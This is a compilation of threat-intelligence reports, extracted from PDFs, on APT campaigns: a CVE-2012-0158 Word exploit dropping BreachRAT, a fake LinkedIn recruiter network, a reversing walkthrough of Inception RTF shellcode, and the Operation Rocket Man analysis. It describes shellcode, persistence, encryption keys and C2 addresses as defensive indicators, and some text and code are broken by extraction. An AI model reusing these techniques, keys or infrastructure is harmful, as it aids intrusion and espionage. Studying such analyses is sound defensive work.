1/7 https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html https://www.proofpoint.com/us/threat-insight/post/Operation-Transparent-Tribe http://zeenews.india.com/business/news/economy/7th-pay-commission-govt-employees-likely-to-get-huge-pay-checks-by-june-july-2016_1880390.html https://technet.microsoft.com/en-us/library/security/ms12-027.aspx Exploit Analysis Despite being an older vulnerability, many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word.
This exploit file made use of the same shellcode that we have observed this actor use across a number of spear phishing incidents.
Figure 2: Exploit Shellcode used to Locate and Decode Payload 2/7 https://technet.microsoft.com/en-us/library/security/ms12-027.aspx The shellcode (Figure 2) searches for and decodes the executable payload contained in memory between the beginning and ending file markers 0xBABABABA and 0xBBBBBBBB, respectively.
After decoding is complete, the shellcode proceeds to save the executable payload into temp\svchost.exe and calls WinExec to execute the payload.
After the payload is launched, the shellcode runs the following commands to prevent Microsoft Word from showing a recovery dialog: Lastly, the shellcode overwrites the malicious file with a decoy document related to the Indian defense forces pay scale / matrix (Figure 3), displays it to the user and terminates the exploited instance of Microsoft Word.
Figure 3: Decoy Document related to 7th Pay Commission The decoy documents metadata (Figure 4) suggests that it was created fairly recently by the user Bhopal.
3/7 Figure 4: Metadata of the Document The payload is a backdoor that we call the Breach Remote Administration Tool (BreachRAT) written in C. We had not previously observed this payload used by these threat actors.
The malware name is derived from the hardcoded PDB path found in the RAT: C:\Work\Breach Remote Administration Tool\Release\Client.pdb.
This RAT communicates with 5.189.145.248, a command and control (C2) IP address that this group has used previously with other malware, including DarkComet and NJRAT.
The following is a brief summary of the activities performed by the dropped payload: 1.
Decrypts resource 1337 using a hard-coded 14-byte key MjEh92jHaZZOl3.
The encryption/decryption routine (refer to Figure 5) can be summarized as follows: 4/7 Figure 5: Encryption/ Decryption Function Generate an array of integers from 0x00 to 0xff Scrambles the state of the table using the given key Encrypts or decrypts a string using the scrambled table from (b).
A python script, which can be used for decrypting this resource, is provided in the appendix below.
2.
The decrypted resource contains the C2 servers IP address as well as the mutex name.
3.
If the mutex does not exist and a Windows Startup Registry key with name System Update does not exist, the malware performs its initialization routine by: Copying itself to the path PROGRAMDATA\svchost.exe Sets the Windows Startup Registry key with the name System Update which points to the above dropped payload.
5/7 4.
The malware proceeds to connect to the C2 server at 5.189.145.248 at regular intervals through the use of TCP over port 10500.
Once a successful connection is made, the malware tries to fetch a response from the server through its custom protocol.
5.
Once data is received, the malware skips over the received bytes until the start byte 0x99 is found in the server response.
The start byte is followed by a DWORD representing the size of the following data string.
6.
The data string is encrypted with the above-mentioned encryption scheme with the hard-coded key AjN28AcMaNX.
7.
The data string can contain various commands sent by the C2 server.
These commands and their string arguments are expected to be in Unicode.
The following commands are accepted by the malware: Conclusion As with previous spear-phishing attacks seen conducted by this group, topics related to Indian Government and Military Affairs are still being used as the lure theme in these attacks and we observed that this group is still actively expanding their toolkit.
It comes as no surprise that cyber attacks against the Indian government continue, given the historically tense relations in the region.
Appendix Encryption / Decryption algorithm translated into Python 6/7 7/7 APT Group Sends Spear Phishing Emails to Indian Government Officials
Hacker Group Creates Network of Fake LinkedIn Profiles secureworks.com/research/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles Author: Dell SecureWorks Counter Threat Unit Threat Intelligence Date: 07 October 2015 Summary While tracking a suspected Iran-based threat group known as Threat Group-2889 [1] (TG-2889), Dell SecureWorks Counter Threat Unit (CTU) researchers uncovered a network of fake LinkedIn profiles.
These convincing profiles form a self- referenced network of seemingly established LinkedIn users.
CTU researchers assess with high confidence the purpose of this network is to target potential victims through social engineering.
Most of the legitimate LinkedIn accounts associated with the fake accounts belong to individuals in the Middle East, and CTU researchers assess with medium confidence that these individuals are likely targets of TG-2889.
Fake LinkedIn accounts The 25 fake LinkedIn accounts identified by CTU researchers fall into two categories: fully developed personas (Leader) and supporting personas (Supporter).
The table in the Appendix lists details associated with the accounts.
The level of detail in the profiles suggests that the threat actors invested substantial time and effort into creating and maintaining these personas.
The photos used in the fake accounts are likely of innocent individuals who have no connection to TG-2889 activity.
Leader personas Profiles for Leader personas include full educational history, current and previous job descriptions, and, sometimes, vocational qualifications and LinkedIn group memberships.
Of the eight Leader personas identified by CTU researchers, six have more than 500 connections (see Figure 1).
1/9 https://www.secureworks.com/research/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles Figure 1.
Example Leader LinkedIn profile created by TG-2889.
(
Source: Dell SecureWorks) The results of open-source research conducted by CTU researchers provided compelling evidence that the Leader profiles were fraudulent: One of the profile photographs is linked to multiple identities across numerous websites, including adult sites.
The summary section in one profile is identical to the summary in a legitimate LinkedIn profile, and the employment history matches a sample rsum downloaded from a recruitment website.
In another profile, a job description was copied from genuine Teledyne and ExxonMobil job advertisements.
The job description in yet another profile (see Figure 2) was copied from a legitimate job posting from a Malaysian bank (see Figure 3).
2/9 Figure 2.
Job description from Leader persona profile.
(
Source: Dell SecureWorks) Figure 3.
Malaysian bank job posting matching a job description associated with a fake Leader LinkedIn profile.
(
Source: Dell SecureWorks) Five of the Leader personas purport to work for Teledyne, an American industrial conglomerate.
In addition, one claims to work for Doosan (an industrial conglomerate based in South Korea), one for Northrop Grumman (a U.S. aerospace and defense company), and one for Petrochemical Industries Co., (a Kuwaiti petrochemical manufacturing company).
Supporter personas Profiles for Supporter personas are far less developed than for Leader personas.
They all use the same basic template with one simple job description, and they all have five connections (see Figure 4).
Profile photographs for three of the Supporter personas appear elsewhere on the Internet, where they are associated with different, seemingly legitimate, identities.
As with the Leader profiles, open-source research indicates that the Supporter profiles are also fake.
3/9 Figure 4.
Example Supporter LinkedIn profile created by TG-2889.
(
Source: Dell SecureWorks) Building credibility via endorsements The purpose of the Supporter personas appears to be to provide LinkedIn skills endorsements for Leader personas, likely to add legitimacy to the Leader personas.
As shown in Figure 5, most of the Supporter accounts identified by CTU researchers have endorsed skills listed on the profiles of the Leader personas.
Although unable to view Leader personas LinkedIn connections, CTU researchers suspect the threat actors use the Supporter accounts to provide the Leader profiles with an established network, which also enhances credibility.
4/9 Figure 5.
TG-2889 uses Supporter accounts (gray) to endorse the skills of Leader personas (green).
(
Source: Dell SecureWorks) Novel technique Although CTU researchers identified eight Leader profiles, two appear to be duplicates that have different identities associated with the same account.
While CTU researchers were analyzing the profiles, the threat actors altered two of the Leader LinkedIn accounts.
The original profile name and photograph were replaced with a new identity, and the current job was updated: in one case replacing Teledyne with Northrup Grumman (see Figure 6) and in the second replacing Teledyne with Airbus Group.
Figure 6.
LinkedIn screenshots showing replacement of original Pamela McCoy persona with Christine Russell.
The alphanumerical LinkedIn ID, a1/7b/955, remains the same.
(
Source: Dell SecureWorks) Changing personas associated with existing profiles was a clever exploitation of LinkedIn functionality because the new identities inherit the network and endorsements from the previous identity.
These attributes immediately make the new personas appear established and credible, and the transition may prevent the original personas from being overexposed.
Targeting LinkedIn users Creating a network of seemingly genuine and established LinkedIn personas helps TG-2889 identify and research potential victims.
The threat actors can establish a relationship with targets by contacting them directly, or by contacting one of the targets connections.
It may be easier to establish a direct relationship if one of the fake personas is already in the targets LinkedIn network.
5/9 Five of the Leader personas claim to be recruitment consultants, which would provide a pretext for contacting targets.
TG- 2889 likely uses spearphishing or malicious websites to compromise victims, and established trust relationships significantly increase the likelihood of these tactics being successful.
Targets Seemingly legitimate LinkedIn users have also endorsed Leader personas.
Endorsements are granted by connections, indicating that these legitimate users are part of the Leader personas networks.
Therefore, they are likely TG-2889 targets.
Examination of the profiles associated with the endorsements revealed 204 potential TG-2889 targets.
As shown in Figure 7, most are based in the Middle East.
Figure 7.
Legitimate endorsers of fake TG-2889 LinkedIn accounts by country.
(
Source: Dell SecureWorks) A quarter of the targets work in the telecommunications vertical Middle Eastern and North African mobile telephony suppliers feature heavily.
A focus on these types of targets may indicate that TG-2889 is interested in acquiring data held by these organizations or gaining access to the services they operate.
A significant minority of identified targets work for Middle Eastern governments and for defense organizations based in the Middle East and South Asia.
Attribution Based on strong circumstantial evidence, CTU researchers assess that TG-2889 is linked to the activity that Cylance described in its December 2014 Operation CLEAVER report.
The report documented threat actors using malware disguised as a rsum application that appeared to allow rsums to be submitted to the industrial conglomerate Teledyne.
Cylance reported the use of the following domains, which reference companies associated with many of the fake LinkedIn profiles identified by CTU researchers: Teledyne-Jobs.com Doosan-Job.com NorthropGrumman.net Cylance attributed the Operation CLEAVER activity to a threat group operating at least in part out of Iran.
CTU researchers have not uncovered any intelligence that contradicts this assessment.
Furthermore, the strong focus suggested by the endorsement analysis on targets from Arab states in the Middle East and North Africa (MENA) region is in line with the expected targeting behavior of a threat group operating out of Iran.
6/9 http://www.cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf Ongoing threat Updates to profile content such as employment history suggest that TG-2889 regularly maintains these fake profiles.
The persona changes and job alterations could suggest preparations for a new campaign, and the decision to reference Northrup Grumman and Airbus Group may indicate that the threat actors plan to target the aerospace vertical.
It is likely that TG-2889 maintains personas that have not yet been identified, and that other threat groups also use this tactic.
CTU researchers advise organizations to educate their users of the specific and general risks: Avoid contact with known fake personas.
Only connect to personas belonging to individuals they know and trust.
Adopt a position of sensible caution when engaging with members of colleagues or friends networks that they have not verified outside of LinkedIn.
When evaluating employment offers originating from LinkedIn, seek confirmation that the individual is legitimate by directly contacting the individuals purported employer.
Organizations may want to consider policing abuse of their brand on LinkedIn and other social media sites.
If an organization discovers that a LinkedIn persona is fraudulently claiming an association with the company, it should contact LinkedIn.
Creating false identities and misrepresenting an association with an organization is a breach of LinkedIns terms and conditions.
Appendix  Fake LinkedIn personas created by TG-2889 Table 1 lists details associated with Leader and Supporter personas created by TG-2889.
The pairs shaded in dark gray are different identities associated with the same LinkedIn account.
The only difference in the profile links of the shared accounts is the persona name.
Type Name and profile link Role Country Connections Company Leader Jon Sam Park https://www.linkedin.com/pub/jong-sam- park/a0/a46/3 Network Administrator Korea 500 Doosan Leader Pamela McCoy https://www.linkedin.com/pub/pamela- mccoy/a1/7b/955 Recruitment Consultant United States 500 Teledyne Technologies Incorporated Leader Christine Russell https://www.linkedin.com/pub/christine- russell/a1/7b/955 International Recruitment Consultant United States 500 Northrop Grumman Leader Timothy Stokes https://www.linkedin.com/pub/timothy- stokes/a0/a75/b46 Recruitment Consultant United States 500 Teledyne Technologies Incorporated Leader Matilda Aronson https://kr.linkedin.com/pub/matilda- aronson/a1/4a5/227 Recruitment Consultant Korea 500 Teledyne Technologies Incorporated Leader Petra Hedegaard https://kr.linkedin.com/pub/petra- hedegaard/a1/4a5/227 Recruitment Consultant Korea 500 Airbus Group 7/9 Leader Hassan (Baqeri) Al Huwaidi https://www.linkedin.com/in/hbaqeri Research and Development Manager United States 275 Teledyne Technologies Incorporated Leader Raheleh Keramat https://www.linkedin.com/pub/raheleh- keramat/99/751/4b IT Infrastructure Manager Kuwait 46 Petrochemical Industries Co.
Supporter Ben Blamey https://uk.linkedin.com/pub/ben- blamey/a2/503/a79 Senior Electronics Project Manager United Kingdom 5 General Motors Supporter Brandon Mobley https://uk.linkedin.com/pub/brandon- mobley/a2/45b/4b Senior Electronics Design Engineer United Kingdom 5 General Motors Supporter Broderick Huff https://www.linkedin.com/pub/broderick- huff/a1/a50/84 IT Technical and Security Manager United States 5 Teledyne Technologies Incorporated Supporter Carolyne Mejia https://uk.linkedin.com/pub/carolyne- mejia/a1/443/17 IT Support Analyst United Kingdom 5 Teledyne Technologies Incorporated Supporter Edwin Grubbs https://www.linkedin.com/pub/pamela- mccoy/a1/7b/955 IT Recruitment Consultant United Kingdom 5 Teledyne Technologies Incorporated Supporter Eric Harvill https://uk.linkedin.com/pub/eric- harvill/a2/5a5/77b Electronics Development Engineer United Kingdom 5 General Motors Supporter Helen Albers https://uk.linkedin.com/pub/helen- albers/a2/73b/6b7 Electronics Hardware Engineer United Kingdom 5 Teledyne Technologies Incorporated Supporter Kristen Allen https://www.linkedin.com/pub/kristen- allen/a1/a55/8b4 IT Solutions Manager United States 5 Teledyne Technologies Incorporated Supporter Lee Chia https://www.linkedin.com/pub/lee- chia/a2/506/485 Hardware Design Engineer / Electronics Design Korea 5 Doosan Supporter https://www.linkedin.com/pub//a2/600/940 Quality Manager United Kingdom 5 Supporter Merle Rogers https://uk.linkedin.com/pub/merle- rogers/a2/378/30b IT Service Desk Engineer / Support / Windows / Mac OS / Linux United Kingdom 5 Doosan 8/9 Supporter Naomi Brinson https://www.linkedin.com/pub/naomi- brinson/a2/5b9/23a Principal Electronics Systems Engineer - DFM, NPI United Kingdom 5 Unilever Supporter Peggy Gore https://uk.linkedin.com/pub/peggy-e- gore/a1/b60/a8b Head of IT Services and Operations United Kingdom 5 Doosan Supporter Raymond Reale https://uk.linkedin.com/pub/raymond- reale/a1/497/689 Project and Program Manager Assistant at Teledyne Technologies Incorporated United Kingdom 5 Teledyne Technologies Incorporated Supporter Ricky Furst https://www.linkedin.com/pub/ricky- furst/a1/967/84a IT Manager at Teledyne Technologies Incorporated United States 5 Teledyne Technologies Incorporated Supporter https://www.linkedin.com/puba67 IT Support Analyst at Teledyne Technologies Incorporated United States 5 Teledyne Technologies Incorporated Supporter Steve Highsmith https://uk.linkedin.com/pub/steve- highsmith/a1/b57/4ab IT Operations Manager at Doosan United Kingdom 5 Doosan Table 1.
Fake LinkedIn personas.
Some potentially sensitive information has been redacted.
Endnote [1] The Dell SecureWorks Counter Threat Unit(TM) (CTU) research team tracks threat groups by assigning them four-digit randomized numbers (2889 in this case), and compiles information from external sources and from first-hand incident response observations.
9/9 Hacker Group Creates Network of Fake LinkedIn Profiles Summary Fake LinkedIn accounts Leader personas Supporter personas Building credibility via endorsements Novel technique Targeting LinkedIn users Targets Attribution Ongoing threat Appendix  Fake LinkedIn personas created by TG-2889 Endnote
Reversing the Inception APT malware After reading the Inception paper by Snorre Fagerland and Waylon Grange, I got curious about this threat and did some reversing.
I felt that it would be good to write a technical blog about the process - maybe it could be helpful or interesting for some.
RTF file Analysis MD5: 4a4874fa5217a8523bf4d1954efb26ef Exploit: CVE-2012-0158 As we can see in following screen shot, this is a RTF [Rich Text Format] file.
Its common that attackers use document files such as these as bait.
It is common that shellcode starts with a NOPsled.
In following screenshot we can see that the embedded shellcode starts with NOP slide.
NOP, or No OPeration - is a single-byte opcode that does nothing.
It has the hex value of 0x90.
Embedded Shellcode Analysis - First Level Now, to the functionality of the shellcode.
We will ignore the first two prolog instructions,  and for remaining statements I have inserted comments to help understanding what is happening in this chunk of code.
Its traversing the TEB, the PEB and the Ldr structure to get the base addresses of ntdll.dll and kernel32.dll.
It needs these to find the API addresses it requires for the rest of the infection.
In screenshot below, Function 00120F82 is the malwares own GetProcAddress function which takes two parameters 1.
Base address of the system dll 2.
Hash of the API name.
The function returns the memory address of the API.
Functionality of function 00120F82 ( GetProcAddress) As shown in the next screenshot, this function parses the export name pointer table of the .dll [ex.
kernel32.dll] and generates a hash for each function.
It compares this with the argument API hash (Ex DF7D9BAD for GetFileSize, see above screenshot) using the CMP EDI, ESI instruction.
Once the matching API is found it parses the Export Address Table and returns the respective API address to the caller in EAX register.
The document contains two levels of shellcode.
We are analyzing first level, and in the following code we can see a typical egghunting method: It attempts to open the already opened rtf file by checking file handles in memory.
It starts with a handle with the value 4 and verifies it by doing GetFileSize on it.
If this fails it does ADD ESI,4 again (adds 4 to the handle) until the API succeeds.
When this happens it checks the file offset 0x8300 for the marker 0x54405450.
Again, if this matches up, it allocates memory into which it reads the file content and jumps to the 2nd level shellcode with a JMP EBX.
Second Level Shell Code Analysis Now we have landed into the second level shellcode, but it is obfuscated to evade static analysis.
At the initial stage there are few instructions waiting to help us.
This is the deobfuscation code.
We can see that 0x23B  4 is the number of bytes obfuscated, POP EBX is the get EIP instruction and 0x5687F945 is the deobfuscation XOR key.
In following code we can see the hexadecimal value that corresponds to the library name being pushed to the LoadLibrary function, as well as two loops to get the API addresses using CALL 02E203E2 function.
Here also it uses hashes to look up APIs.
Hash API Hash API 73E2D87E ExitProcess 0C0397EC GlobalAlloc 7CB922F6 GlobalFree 10FA6516 ReadFile 36EF7370 GetCommandLineA 76DA08AC SetFilePointer 0E8AFE98 WinExec DF7D9BAD GetFileSize E9238AD9 _lwrite 6DD38706 CoUninitialize E88A49EA _lcreat EB9E05F5 CoSetProxyBlanket 5B8ACA33 GetTempPathA 6E26C880 CoCreateInstance 0FFD97FB CloseHandle 7FC7A3CB CoInitializeEx In the following code it searches for the embedded VBS file inside the RTF file in memory.
It checks for the file size in a loop, and if the size is larger than 0x2000 then it sets the file ponter to 0x8C14 to compare with the VBS file marker as we can see in following screenshot.
After finding the VBS marker in memory, it decrypts the VBS file in two iterations.
In the first loop it decrypts and in the second loop it swaps the low and high bytes of the first 0x100 16-bit words, after which it writes the file to a file named Temp/ew_Rg.vbs.
Payload .VBS file Analysis The following screenshot shows a part of the .VBS payload file dropped by .RTF file.
First line is the encrypted .dll 4th line contains Key to decrypt the .dll.
Remaining part is self-explanatory.
The instruction c  Crypt(c,k) function decrypts the encrypted dll and returns the decrypted dll.
(
See the screenshot above) c encrypted dll.
k  decryption key.
Following function writes byte by byte to the dropped.dll file.
Finally, the following code executes the regsvr32 command to run the wmiprvse.dll in silent mode and sets the run key in registry.
Payload wmiprvse.dll file Analysis This first level of deobfuscation in wmiprvse.dll takes around 3-4 minutes to finish.
Then it allocates memory using VirtualAlloc and writes the unpacked code to newly allocated memory before it jumps to the unpacked code as shown in following screen shot.
This dll has 3 layers of unpacking.
The one above is level one,  below iyou can see level two.
We can see the passing of the control to the newly unpacked .dll CALL EAX.
Its very time-consuming to understand the functionality of the dll as it decrypts and builds its own runtime import table to hinder the analysis.
Analyst cannot directly see which API gets called.
Finally we can see its connecting to webdav.cloudme.com and cleartext credentials in following screenshot.
http://webdev.cloudme.com/ Malware tries to communicate with the user account created at the WebDAV CC to exfiltrate system and user information.
Reference: https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-E2809C- inception-frameworkE2809D-very-sophisticated-layered-malware https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-E2809C-inception-frameworkE2809D-very-sophisticated-layered-malware
Security Response Center                                                                                          1 Threat Intelligence Report OPERATION Rocket Man 2018.
08 Security Response Center (ESRC) ESRC-1808-TLP-White-IR002 Security Response Center                                                                                          2 INDEX RocketMan Report - The latest APT campaign of Geumseong121 Group  Operation Rocket Man - Detailed Analysis 3p Correlation Analysis - Similar Threat Case - Deep Analysis on Correlation - Time Series Analysis of Geumseong121 Group 14p 03 Conclusion -  Persistent Threat 36p 02 01 Security Response Center                                                                                          3 RocketMan Report 01 - The latest APT campaign of Geumseong121 Group  Operation Rocket Man - Detailed Analysis Security Response Center                                                                                          4 Special Report RocketMan Report 1.
The latest APT campaign of Geumseong121 Group  Operation Rocket Man ESTsecurity Security Response Center (ESRC) is a specialized organization of ESTsecurity Cyber Threat Intelligence (CTI).
On March 20, ESRC released the report on a state-sponsored APT threat group Geumseong121, who had conducted infiltration cyber-attacks on major North Korean organizations and defense sectors, recently carried out the Android- based mobile Spear Phishing attacks.
[
Figure 1] Attack Vector of Geumseong121 group The unknown attackers spread the CVE-2018-4878 Zero-Day vulnerability via KakaoTalk messenger and attempted the targeted attacks several times exploiting the malicious HWP document.
In the mobile spear phishing (APK) discovered in March, malicious APK apps with the word Secret instead of Illegal were distributed.
Security Response Center                                                                                          5 The Geumseong121 group is the suspected state-sponsored cyber military, who attacked Android mobile users by disguising as a mobile vaccine app developed by the leading portal company in Korea.
ESRC has posted the analysis on the malicious app (Trojan.
Android.
Fakeav) in detail.
[
Figure 2] Tricking users to install APK disguised as the mobile security app The additional threats related the issue has been posted on the Cisco Talos, Paloalto Unit 42 security blog in detail.
http://blog.alyac.co.kr/1587 http://blog.alyac.co.kr/1587 https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/ https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/ Security Response Center                                                                                          6 2.
Malware Analysis 2.1.
File Information File Name 111.hwp File Format HWP File Size 18,432 byte Content Created 2018.
08.
10 File version - Last Updated 2018.
08.
10 MD5 EDC1BDB2D70E36891826FDD58682B6C4 SHA-256 2CAF1E26A67760268648B0EC8EA66BE9D2E28BAC1B2A48E1E6F6E9A06BEB042C File Name Ant_3.5.exe File Format PE EXE File Size 12,214,272 byte Content Created 2018.
08.
10 File version - Last Updated 2018.
08.
10 MD5 B710E5A4CA00A52F6297A3CC7190393A SHA-256 32E98F39BCDE86885C527DDCF68FAD67D0A7E6C23877672EBFD4C2A6A3F545E5 File Name worldnews.doc File Format PE EXE File Size 368,128 byte Content Created 2018.
08.
14 File version - Last Updated 2018.
08.
14 MD5 1213E5A0BE1FBD9A7103AB08FE8EA5CB SHA-256 dc827f7a1e5ee4600697d7d3efdeb8401b7a9af3d704d0462e7d3e0804a9069d File Name \xed\x86\xb5\xec\xa7 \x80.hwp File Format HWP File Size 173,056 byte Content Created 2017.
10.
10 File version - Last Updated 2017.
10.
10 MD5 AF6721145079A05DA53C8D0F3656C65C SHA-256 8bb3d97a37a6c7612624a12f8ff60eb8dd130f9e8f9af4f4f2cf8fca4f1dd964 File Name desktops.ini File Format INI File Size 204 byte Content Created - File version - Last Updated - MD5 05EEF00DE73498167B2D7EBDC492C429 SHA-256 4380769cdef6ed56c1290acfc98a26e029e887a3b4ebfc417bfd80408b4d9e90 Security Response Center                                                                                          7 2.2.
Detailed Analysis ESRC has been investigating the cyber campaigns for several years, and found that the group has been conducting the cyber campaigns on and off Korea since 2013.
The major threat vectors exploited by the group are Watering Hole, Spear Phishing, Social Network Phishing, Torrent Phishing attacks and so on.
Meanwhile, the latest spear phishing targeting a specific Korean was discovered in August of 2018 and interesting facts are found while analyzing the attack.
In addition, the attacker is disguised as a corporate HR representative in Korea for the attack.
The following IoCs are identified in the attack.
ESRC has promptly shared the information with Korea Internet  Security Agency (KISA), in order to prevent the distribution of the malware.
-
http://m.ssbw.co.kr/admin/form_doc/image/down/down[.
]php (MD5 : af6721145079a05da53c8d0f3656c65c) - http://m.ssbw.co.kr/admin/form_doc/image/down/worldnews[.
]doc (MD5 :1213e5a0be1fbd9a7103ab08fe8ea5cb) - http://m.ssbw.co.kr/admin/form_doc/image/img/111[.
]hwp (MD5 : edc1bdb2d70e36891826fdd58682b6c4) - http://m.ssbw.co.kr/admin/form_doc/image/img/Ant_3.5[.
]exe (MD5 : b710e5a4ca00a52f6297a3cc7190393a) - http://m.ssbw.co.kr/admin/form_doc/image/img/desktops[.
]ini (MD5 : 05eef00de73498167b2d7ebdc492c429) The spear phishing strategy used by Geumseong121 contains the distinctive features.
Instead of attaching a Lure or Decoy file, it adds the infected Korean website address and disguises as the attached file image.
The sophisticated Hangul was observed in the attack, but some geographic expressions of the language were subtlety vague.
The approach is utilized to analyze local characteristics based on the linguistic abilities of the attacker, and the professional analysts who are good at using the language can access to more in-depth data through.
In addition, the metadata used in the attack is utilized as a key clue to the Correlations between traces of the past and the infringements.
The malware disguised as the icon that seems the Korean security program is used in the newly discovered campaign in August.
The tactic is similar to the one of the attack discovered in March, but this time it is disguised as security program for PC, not mobile.
Security Response Center                                                                                          8 [Figure 3] Flow of Attack disguised as a security program The malware disguised as a security program depending on the attack vector installs additional files through the multiple steps.
It executes optional commands for each .Net version.
The build data called Ant.pdb is observed in malicious file distributed on the .Net basis.
In particular, an attacker is constantly creating a series of malicious file variants in a project folder called Rocket.
-
E:\project\windows\Rocket\Ant\Api\PubnubApi\obj\Debug\net35\Pubnub.pdb - E:\project\windows\Rocket\Ant_3.5\Ant\obj\Release\Ant.pdb Security Response Center                                                                                          9 [Figure 3-1] PDB path created in Rocket path We categorized the cyber campaigns using the main keywords and named it Operation Rocket Man.
ESRC found many False Flags to confuse Threat Intelligence (TI) while analyzing the code used in the attack.
The attacker used the word Haizi in English, which means a child in Chinese expression.
The expression was identically used in the .Net based programs installed later.
There is a word PAPA in the .Net based malware.
However, BABA is used as an English expression of Chinese , which means father.
The evidence revealed that the attackers native language may not be Chinese.
https://dictionary.hantrainerpro.com/chinese-english/translation-haizi_child.htm https://dictionary.hantrainerpro.com/chinese-english/translation-haizi_child.htm https://dictionary.hantrainerpro.com/chinese-english/translation-baba_father.htm Security Response Center                                                                                          10 [Figure 4] English expression of Chinese in the malware The installed malware will download the encrypted ini configuration file and decrypt it.
The configuration file is named desktops.ini and receives the commands from the same C2 server exploiting the vulnerability attack.
public void SetPubnub(string[] strArr)  if (strArr.
Length  7)  return  for (int i  0 i  strArr.
Length i)  strArr[i]  this.calcXor(strArr[i], 23)  this.m_strChannelNameTmp  strArr[1] The configuration file encrypted according to the command is decrypted with the key value of XOR 0x17.
When the Security Response Center                                                                                          11 decryption is completed, command communication (C2) communication is proceeded via PubNub channel, which is one of the Infrastructure as a Service.
The attacker uses the LiuJin account here as well, which is one of evidence to show the attack is originated from China.
There are many English expressions of LiuJin, it can be written as  (LiuJin) in Chinese, or used for the name of Chinese actor and the online game.
The traces related to China are intentionally left behind in the code.
ESRC believes there is a high possibility of Disturbance Strategy exposing the linguistic and geographic codes to confuse Threat Intelligence (TI).
https://baike.baidu.com/item/E58898E58AB2/6641414 https://baike.baidu.com/item/E58898E58AB2/6641414 http://www.liujin.cn/ Security Response Center                                                                                          12 [Figure 5] IaaS-based PubNub command control (C2) server Security Response Center                                                                                          13 As such, an attacker uses a legitimate IaaS service for communication, so that it is quite difficult to detect the malicious traffic.
Security Response Center                                                                                          14 Correlation Analysis 02 - Similar Threat Case - Deep Analysis on Correlation - Time Series Analysis of Geumseong121 Group Security Response Center                                                                                          15 Special Report Correlation Analysis Similar Threat Case The spear phishing using the same technique has been identified in September 2017.
The HWP vulnerability was also used for the attack, and the metadata is identical to the IOC of the attack on August 2018.
The attackers account name and the OLE code are disguised as references and reply to the original message.
[
Figure 6] E-mail used in the attack The file name icloud.exe is used for the malicious program and the following PDB (Program Data Base) code is inside.
-
E:\))PROG\doc_exe\Release\down_doc.pdb The PDB series is diverse depending on the variant malicious files, and it is also related to the 2013 versions using the AOL messenger (AIM).
AOL Messenger was used for communicating in the early days before the infected Korean websites were used as a Security Response Center                                                                                          16 communication method.
After that, it has evolved to use the Streamnation.com for Command and Control.
The emails from Korea, USA, China, India and Russia can be used for subscribing the account for C2 Communication.
The cloud services such as pcloud.com, yandex.com and Dropbox have been used before and a real-time networking platform PubNub service is currently used.
The PubNub is infrastructure-as-a-service (IaaS) to provide the service to interconnect IoT cloud devices as one system.
-
K:\))pick\ie\test.pdb - D:\))pick\doc_exe\Release\down_doc.pdb - E:\))PROG\doc_exe\Release\down_doc.pdb - E:\))PROG\doc_exe\Release\drun.pdb - E:\))PROG\ie\Release\drun.pdb - E:\))PROG\Upload\Upload\thunder - E:\))PROG\waoki\Release\runner.pdb - E:\))PROG\waoki\Release\kltest.pdb [Figure 7] The analysis of PDB code in the malicious program The command control (C2) server of the attack is the endlesspaws.com domain, which has been previously used for similar attacks several times.
In terms of Threat Intelligence (TI), the identified server is useful to investigate similar threats carried out by the same attackers.
Security Response Center                                                                                          17 ESRC also confirmed that the domain has connections to Watering Hole attack related to North Korea, which is discovered in South Korea in 2015, and gained the evidence that it is exploited in the spear phishing attack with attached executable file in 2017.
The attack exploiting the CVE-2017-8759 vulnerability has been detected as well.
Some of them have been posted on the blog by Chinese security company Tencent.
Deep Analysis on Correlation A number of similar threat appeared in February of 2017.
The domain endlesspaws.com was leveraged to distribute the malware by luring the users with the safety guideline for strengthening the protection of North Korean defectors.
[
Figure 8] Distributing the malware by disguising as the safety guideline https://s.tencent.com/research/report/274.html https://s.tencent.com/research/report/274.html Security Response Center                                                                                          18 It looks like it attaches a safety tips .zip file to an email, but it actually is linked to the endlesspaws.com domain to install a compressed file, and it contains malicious EXE executable files with a double extension disguised as an HWP document.
It masquerades as a double extension, and the icon is disguised as a normal HWP file by utilizing the document file resource.
The malicious file loads the code that is configured of the cryptographic function routines inside, and decodes certain hexadecimal codes into a logical XOR 0x55 key value.
EXE executable malicious files will attempt to connect to the following addresses, same as the C2 domain used to distribute ZIP compressed files: - http://endlesspaws.com/vog/tan[.
]php?fuckx - http://endlesspaws.com/vog/denk[.
]zip Security Response Center                                                                                          19 [Figure 9] Code for converting the encrypted C2 data The additionally downloaded denk.zip file, which appears to be a seemingly zip compressed file, is actually a HWP format document file.
The malware distributed in EXE format contains the normal HWP document inside.
It shows users the normal document in the process of infecting the device or it can download the normal HWP document from the C2 server.
However, this case is different from the common type of the malware.
It downloads and install additional malicious HWP documents.
This is an unusual case of installing the additional document-based malicious files on the already infected system.
As the document file contains content that matches the email content used in the attack, it is not likely that the file is improperly linked due to confusion with other cyber operations.
Security Response Center                                                                                          20 The malicious script code is injected in the DefaultJScript area in the denk.zip file.
The malicious DLL file encoded in BASE64 code in the embedded format will be decoded when the script runs.
[
Figure 10] The malicious script code included in the document file The malicious DLL file that is decoded by BASE64 code contains the following PDB path, and connect to the six Korean command control (C2) servers.
The code srvrlyscss, which has been detected in many IOCs in Korea, is used for communication.
Security Response Center                                                                                          21 [Figure 11] Code with srvrlyscss string for communication - seline.co.kr/datafiles/CNOOC[.
]php - www.causwc.or.kr/board_community01/board_community01/index2[.
]php - www.kumdo.org/admin/noti/files/iindex[.
]php - www.icare.or.kr/upload/board/index1[.
]php - cnjob.co.kr/data/blog/iindex[.
]php - notac.co.kr/admin/case/iindex[.
]php The string taihaole9366 was used as the mutex code to prevent Duplicate Execution.
Taihaole matches the English expresion of Chinese () and the meaning is very good.
The attacker has used the English expression of Chinese very often from the past, and there are a lot of other expressions.
